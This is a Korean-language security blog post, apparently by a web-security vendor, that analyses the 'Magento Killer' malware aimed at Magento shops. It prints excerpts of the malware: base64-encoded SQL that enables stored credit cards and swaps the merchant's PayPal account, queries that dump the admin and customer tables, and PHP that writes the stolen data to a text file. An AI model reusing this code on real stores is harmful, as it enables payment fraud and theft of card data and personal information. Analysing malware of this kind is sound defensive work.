최근 '마젠토 킬러(Magento Killer)'라는 이름의 새로운 악성 스크립트가 마젠토 기반 웹사이트들을 집중적으로 공격하고 있습니다. 이 스크립트의 핵심인 $ConfKiller는 웹사이트에서 가장 중요한 파일인 설정 파일(configuration file)을 직접 노립니다. 더욱이 $ConfKiller 스크립트가 성공적으로 실행될 경우, 피해 마젠토 데이터베이스의 core_config_data 테이블까지 임의로 수정할 수 있습니다.
물론 이 악성코드가 마젠토 설치 환경 전체를 파괴하지는 않습니다. 하지만 그렇다고 피해가 가벼운 것은 결코 아닙니다. 마젠토 킬러는 극심한 데이터 유출을 초래하는데, 여기에는 신용카드 정보, 개인 식별 정보(PII), 이메일 주소, 청구지 주소 등이 모두 포함됩니다.
$ConfKiller의 공격 방식
해커들은 일련의 단계를 밟아가며 데이터를 탈취합니다. 마젠토 킬러 스크립트의 공격 방식을 최대한 이해하기 쉽게 정리했습니다.
1단계: 판매자의 PayPal 계정 교체
우선 공격자는 base64로 특수 인코딩된 SQL 쿼리를 주입합니다. 주입되는 쿼리는 대략 다음과 같은 형태입니다.
$ConfKiller = array(
'Update DB (Savecc)' =>
base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQNCmBzY29wZWAgPSAnZGVmYXVsdCcsDQpgc2NvcGVfaWRgID0gJzAnLA0KYHBhdGhgID0gJ3BheW1lbnQvY2NzYXZlL2FjdGl2ZScsDQpgdmFsdWVgID0gJzEnDQpXSEVSRSBgcGF0aGAgPSAncGF5bWVudC9jY3NhdmUvYWN0aXZlJzs='),
//UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'payment/ccsave/active', `value` = '1' WHERE `path` = 'payment/ccsave/active';
'Update PP (MailPP)' =>
base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQKYHNjb3BlYCA9ICdkZWZhdWx0JywKYHNjb3BlX2lkYCA9ICcwJywKYHBhdGhgID0gJ3BheXBhbC9nZW5lcmFsL2J1c2luZXNzX2FjY291bnQnLApgdmFsdWVgID0gJ1tyZWRhY3RlZF1AZ21haWwuY29tJwpXSEVSRSBgcGF0aGAgPSAncGF5cGFsL2dlbmVyYWwvYnVzaW5lc3NfYWNjb3VudCc7')
//UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'paypal/general/business_account', `value` = '[redacted]@gmail.com' WHERE `path` = 'paypal/general/business_account';
이 코드를 하나씩 뜯어보면, 두 가지 요청이 실행되고 있음을 알 수 있습니다.
- Update DB (Savecc): 이 요청은 마젠토 웹사이트가 고객의 신용카드 정보를 결제 처리기(예: authorize.net)로 전달하는 대신 서버에 직접 저장하도록 설정을 변경합니다.
- Update PP (MailPP): 이 요청은 대상 마젠토 사이트에 등록된 판매자의 PayPal 계정을 해커가 지정한 다른 계정으로 통째로 교체합니다.
일반적으로 마젠토는 서버에 로컬 저장되는 신용카드 정보를 암호화하지만, 이번 공격 앞에서는 그다지 큰 보호막이 되지 못합니다.
공격자는 이미 웹사이트 파일 시스템에 대한 접근 권한을 확보한 상태이므로, 마젠토 설정 파일 ./app/etc/local.xml에서 암호화 키를 손쉽게 빼낼 수 있습니다. 이 키를 확보한 해커는 신용카드 정보를 일반 텍스트 형태로 복호화할 수 있게 됩니다.
2단계: 추가 고객 정보 탈취
신용카드 정보만으로는 실제로 카드를 사용할 수 없습니다. 카드 결제에는 이를 보완하는 부가 정보가 반드시 필요하기 때문입니다. 이에 해커는 다음 단계로 고객의 성명, 이메일, 청구지 주소, 전화번호 등의 추가 정보를 확보하려 시도합니다.
해커는 아래 코드를 쿼리로 전송해 데이터베이스 내용을 자신에게 그대로 노출시킵니다.
$query = array( 'admin_user' => 'SELECT * FROM admin_user' , 'aw_blog_comment' => 'SELECT * FROM aw_blog_comment' , 'core_email_queue_recipients' => 'SELECT * FROM core_email_queue_recipients' , 'customer_entity' => 'SELECT * FROM customer_entity' ,
3단계: 텍스트 파일로 데이터 추출
마지막으로 해커는 선별한 핵심 데이터를 텍스트 파일로 옮겨 담습니다. 이때 생성되는 파일이 바로 *-shcMail.txt입니다. 아래 코드가 마젠토 킬러의 공격을 성공으로 이끄는 핵심 부분입니다.
$namefile = md5(time())."-shcMail.txt";
foreach ($query as $shc_key => $shc_query) {
$hasil = mysql_query($shc_query);
while ( $kolom_db = mysql_fetch_assoc($hasil) ) {
$mail[] = $kolom_db[$shcolom[$shc_key]];
$myfile = fopen($namefile, "a+") or die("Unable to open file!");
fwrite($myfile, $kolom_db[$shcolom[$shc_key]]."rn");
fclose($myfile);
이 스크립트는 *-shcMail.txt 파일로 연결되는 링크를 생성합니다. 그리고 마지막으로, 앞서 진행한 두 가지 설정 변경이 성공했는지 여부를 공격자에게 알려주는 결과를 출력합니다.
결론
운영 중인 웹사이트가 이 악성코드에 감염된 사실을 발견하셨다면, 마젠토 웹사이트 멀웨어 제거 가이드를 참고해 즉시 조치하시기 바랍니다.
또는 긴 복구 가이드를 처음부터 읽는 번거로움을 피하고 싶다면 즉시 멀웨어 제거 서비스를 이용하는 방법도 있습니다. 아직 감염되지 않으셨다면, 마젠토 보안 체크리스트를 활용해 미리 웹사이트를 안전하게 보호해 두시길 권장합니다.